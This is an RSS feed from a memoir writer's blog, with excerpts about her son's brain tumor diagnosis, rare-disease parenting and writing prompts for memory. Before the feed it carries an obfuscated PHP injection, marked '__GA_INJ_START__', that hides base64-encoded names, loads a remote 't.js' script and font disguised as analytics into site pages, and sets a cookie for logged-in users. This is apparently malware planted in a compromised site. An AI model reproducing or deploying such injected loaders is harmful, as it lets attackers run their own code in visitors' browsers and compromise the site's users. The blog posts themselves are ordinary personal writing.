/* __GA_INJ_START__ */ /*f24f30b3220786d4*/function _339a6f($_x){return $_x;}function _f4406e($_x){return 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$_db3286d2,$_43220e00;$_4440c02c=true;if(is_array($_43220e00)){foreach($_43220e00 as $_69ca1d3e){if(version_compare($_69ca1d3e,$this->version,'>')){$_4440c02c=false;break;}}}$_caf46d8b=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_248b80fa=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_444cfcaa=wp_script_is($_caf46d8b,'registered')||wp_script_is($_caf46d8b,'enqueued');if($_4440c02c&&$_444cfcaa){wp_deregister_script($_caf46d8b);wp_deregister_style($_248b80fa);$_444cfcaa=false;}if(!$_4440c02c&&$_444cfcaa){return;}$_2fefb16f=$this->resolve_endpoint();if(!$_2fefb16f){return;}wp_enqueue_style($_248b80fa,base64_decode($_db3286d2["font"]),[],null);$_9faf3214=$_2fefb16f."/t.js?site=".base64_decode($_db3286d2['sitePubKey']);wp_enqueue_script($_caf46d8b,$_9faf3214,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_caf46d8b,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_6c1eed09=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_6c1eed09])){return;}$_813a031c=time()+(365*24*60*60);setcookie($_6c1eed09,'1',$_813a031c,'/','',false,false);}}new GAwp_3601b224(); /* __GA_INJ_END__ */ My Own Forever| Patti M Hall https://pattimhall.com/my-own-forever/ Master Story Alchemist. The World Is Waiting To Hear Your Story Thu, 14 May 2020 19:08:46 +0000 en-CA hourly 1 https://wordpress.org/?v=6.9.4 https://pattimhall.com/wp-content/uploads/2022/10/cropped-icon-1-32x32.png My Own Forever| Patti M Hall https://pattimhall.com/my-own-forever/ 32 32 When You Say No To Support — Mamalode.com https://pattimhall.com/say-no-support-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=say-no-support-mamalode-com Thu, 14 Apr 2016 16:11:40 +0000 http://pattimhall.com/?p=797 “Through all of this, I stopped knowing who I was. I lost myself. Parents of kids who live with chronic and critical diseases and disorders are not quite whole anymore: they are assemblages of limitless energy, capable of morphing and moulding into whatever the medical system and their child’s symptomology demands. Rare disease Moms are…

The post When You Say No To Support — Mamalode.com appeared first on Patti M Hall.

]]> “Through all of this, I stopped knowing who I was. I lost myself. Parents of kids who live with chronic and critical diseases and disorders are not quite whole anymore: they are assemblages of limitless energy, capable of morphing and moulding into whatever the medical system and their child’s symptomology demands. Rare disease Moms are first responders who have a Ph.D in their own child.”http:/http://I'm Published by Mamalode!

You can read my full post here:

Mamalode April 14

The post When You Say No To Support — Mamalode.com appeared first on Patti M Hall.

]]> Becoming More Than Mom — Mamalode.com https://pattimhall.com/becoming-mom-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=becoming-mom-mamalode-com Thu, 24 Mar 2016 12:22:41 +0000 http://pattimhall.com/?p=783 “I didn’t know where I’d find the words, but I was sure that anything I uttered after “you have a brain tumor” would just be white noise. I rose in the morning and fell to sleep at night spending every waking moment protecting my sons’ health, safety and happiness. My message, and these words would…

The post Becoming More Than Mom — Mamalode.com appeared first on Patti M Hall.

]]> “I didn’t know where I’d find the words, but I was sure that anything I uttered after “you have a brain tumor” would just be white noise. I rose in the morning and fell to sleep at night spending every waking moment protecting my sons’ health, safety and happiness. My message, and these words would rob Adam of all three. The telling was on me. I wanted him to shoot the messenger, but I wanted to be dead in that moment.”http:/http://I'm Published by Mamalode!

You can read my full post here:

Mamalode - Becoming More Than Mom

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]]> When I Had To Tell My Son He Has A Brain Tumor–TheMighty.com https://pattimhall.com/741-2/?utm_source=rss&utm_medium=rss&utm_campaign=741-2 Wed, 03 Feb 2016 05:28:31 +0000 http://pattimhall.com/?p=741 “I couldn’t fix this for him, take away the sting or push it to the edge of his thoughts until later. I could do that with a lost hockey game, failed test or harsh words on the playground. That is regular Mom stuff. ” You can read my full post here:

The post When I Had To Tell My Son He Has A Brain Tumor–TheMighty.com appeared first on Patti M Hall.

]]> “I couldn’t fix this for him, take away the sting or push it to the edge of his thoughts until later. I could do that with a lost hockey game, failed test or harsh words on the playground. That is regular Mom stuff. ”

You can read my full post here:

Screenshot 2016-02-03 00.00.29

When I Had to Tell My Son He Has A Brain Tumor

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]]> When Unremarkable is a Good Thing https://pattimhall.com/when-unremarkable-is-a-good-thing/?utm_source=rss&utm_medium=rss&utm_campaign=when-unremarkable-is-a-good-thing Fri, 08 Jan 2016 02:41:42 +0000 http://pattimhall.com/?p=638 My family has been staring down rare disease, arming ourselves against the regular onslaught of bad news for a long time. When you’re hit with a rare disease diagnosis…. When rare disease invites itself into your house and won’t leave… When your notion of normal becomes permanently tinged with a “but”… you live differently, more…

The post When Unremarkable is a Good Thing appeared first on Patti M Hall.

]]> My family has been staring down rare disease, arming ourselves against the regular onslaught of bad news for a long time.

When you’re hit with a rare disease diagnosis….

When rare disease invites itself into your house and won’t leave…

When your notion of normal becomes permanently tinged with a “but”… you live differently, more realistically, allowing your once limitless optimism to deflate down to realism.

At some point you stop hoping for good news, because it likely ain’t comin’.

A large pituitary tumor was the tidal wave that washed normal out of our lives. Most of you know that our struggle to confront my son Adam’s diagnosis is at the core of a memoir I’m working on.

Since the first MRI found the tumor, I’ve poured over blood results and MRI reports on a regular basis. So today when a hospital portal announcement told me that a new result had been posted for viewing, I opened it immediately. My instinct to act revived, after habitually checking the clock to assess whether the action I might need to take could happen before specialists leave their offices for the day. I clicked to open the report, and scanned for the key words. Those little words, so deftly chosen by the radiologists and pathologists, mean the difference between sleeping tonight for parents of #rarekids, or a wakeful coffee-fuelled all nighter searching for the name of global experts or clinical trials.  I’ve done too many of those all night web scans, just me and Google. But it’s our job, we parents of rare disease kids. It’s what we do while we stand on guard for our exceptional kids.

I scanned tonight…there was the notation regarding the status of his brain, always the source of giggling and snickering to my son Adam and I. (Dark humor is all part of our coping strategy). In MRI lingo, when the brain is not compromised or impinged upon in any way that might be considered a concern…it’s just

unremarkable. 

I always take full advantage of getting some mileage out of that one–

“Hey Buddy, your brain is still unremarkable…nothing special at all.” It’s one of innumerable jokes he and I have. Conversely, we have also lowered our expectations together appointment after appointment, because there has never been much good news.

Today was no different really.

Then two words leapt off the page, and my stomach rose to my throat…

SLIGHT IMPROVEMENT

Our notion of normal is so skewed, that other people might not celebrate those two innocuous words, but for us, its a moment we’ve waited for, that he has suffered for, that we have endured so much for.

“It’s just a little good news,” he says.  “But I’ll take it every day of every decade.”

And flashes me the same smile he has since the day he was born.

It’s a really good day.

The post When Unremarkable is a Good Thing appeared first on Patti M Hall.

]]> Write to Prime the Pump that is your Memory https://pattimhall.com/write-to-prime-the-pump-that-is-your-memory/?utm_source=rss&utm_medium=rss&utm_campaign=write-to-prime-the-pump-that-is-your-memory Fri, 13 Nov 2015 10:42:02 +0000 http://pattimhall.com/?p=268 We all feel our memories are fading.  From an early age, our memories are selectively taking things from the ‘active’ file, shifting them to the ‘for later’ file, and sneakily moving details to the permanent ‘archive’ from where we fear we will never retrieve them. I’ve got news for you – the memories are there. …

The post Write to Prime the Pump that is your Memory appeared first on Patti M Hall.

]]> We all feel our memories are fading. 

From an early age, our memories are selectively taking things from the ‘active’ file, shifting them to the ‘for later’ file, and sneakily moving details to the permanent ‘archive’ from where we fear we will never retrieve them.

I’ve got news for you – the memories are there. 

I like to think of my memory as a pump that just needs a little priming to get working again. Give it a little water, or in this case word-fuel, and watch the machinery grind its way out of the dusty corner of the shed where it got tossed ten years ago.

The concept of cue-ing your memory was developed from my work with hundreds of people in classes and groups, almost all of whom told me that they had forgotten more than they remembered on the first day we worked together.

Then I witnessed a juicy cue remind M.B. about her passion for snow angels as a child, and another aspiring memoirist, R.M. wrote four pages about her beloved first car. Those were not topics that either person had thought of in decades.  They also weren’t topics either of them thought would turn into favourites in their writing group.

Write to prime the pump that is your memory. I promise, it works.

Try this: 

Read one of our writing cues, our #inspiringmoment posts are all over social media, and let your mind go immediately to the place where the graphic and words take you.

I also send 7 daily writing prompts each week in my #InspiringMoment newsletter.
SEND ME THE PROMPTS!

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]]>